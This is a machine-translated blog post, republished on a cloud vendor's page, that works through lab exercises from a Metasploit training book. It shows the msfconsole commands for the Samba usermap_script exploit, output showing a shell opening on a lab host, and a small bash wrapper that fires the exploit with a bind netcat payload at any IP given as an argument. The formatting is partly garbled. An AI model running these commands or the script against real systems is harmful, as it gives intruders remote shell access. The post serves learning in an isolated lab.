"Metasploit Devil Training Camp" first chapter exercises

Source: Internet
Author: User

Book P39
1. The time line is as follows:

* May 7, 2007:initial defect disclosure to the [email protected]

Email alias.

* May 7, 2007:initial developer response by Samba

Developer Gerald Carter.

* May 9, 2007:patch released by Samba developer Jeremy

Allison to IDefense for testing.

* Announcement to VENDOR-SEC mailing list

* May, 2007:public announcement of the security issue.

2, first find out Metasploit installation location:

# dpkg-s Metasploit

In the/usr/share/metasploit-framework

ls Aix      apple_ios  dialup   FreeBSD  irix   multi    OSX      unixandroid  bsdi       Firefox  hpux     linux  NetWare  solaris  Windows

Use the Linux shell command to count Windows 2000, Windows XP ... Number of infiltration attack modules in the target environment (no, skip it)

3. Running Msfconsole:

MSF > db_status[*] PostgreSQL selected, no connection

The solution can be consulted: http://r-7.co/MSF-DEV#set-up-postgresql (too long, I haven't tried it yet)

Because there are a lot of differences with the book, I finally decided to use the BT5 virtual image provided by the author.

After changing on BT5, a cool and awesome interface! But the IP address is 10.10.10.129, and the script does not match! Reset under:

vi /etc/networks//etc/init.d/networking Restart

Open Msfconsole:

MSF > db_status[*] PostgreSQL connected to Msf3dev

Add: For MSF and database connectivity issues in Kali 2.0, refer to the http://www.cnblogs.com/justforfun12/p/5205804.html

Solve the problem of database!

msf> use exploit/multi/samba/usermap_scriptmsf> show optionsmsf10.10. 10.254 MSF> exploit
[*] Command Shell Session 1 opened (10.10.10.128:4444-10.10.10.254:33721)

Successfully get the shell

VNC is unfamiliar, skip it for a while.

5.

# vim Us_attack.SH  1#!/bin/Bash2 #  3# A Shell script that uses usermap_script exploit to penetrate4# Other's system.  5# User needs to input the IP forRHOST as the only parameter. 6 #  7#2016.2. +by Jack8 #  9 TenMSFCLI Multi/samba/usermap_script Payload=/cmd/unix/bind_netcat rhost=$1E

Perform

sh us_attack. SH 10.10. 10.254

Get!

But there is a problem: the first ping from the BT5 10.10.10.254 (NAT) is not ping, you need to ping back to 10.10.10.128 (NAT) from Nat.

With BT5 In fact also has a big problem, because its server stops updating, apt-get can't use!

"Metasploit Devil Training Camp" first chapter exercises

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.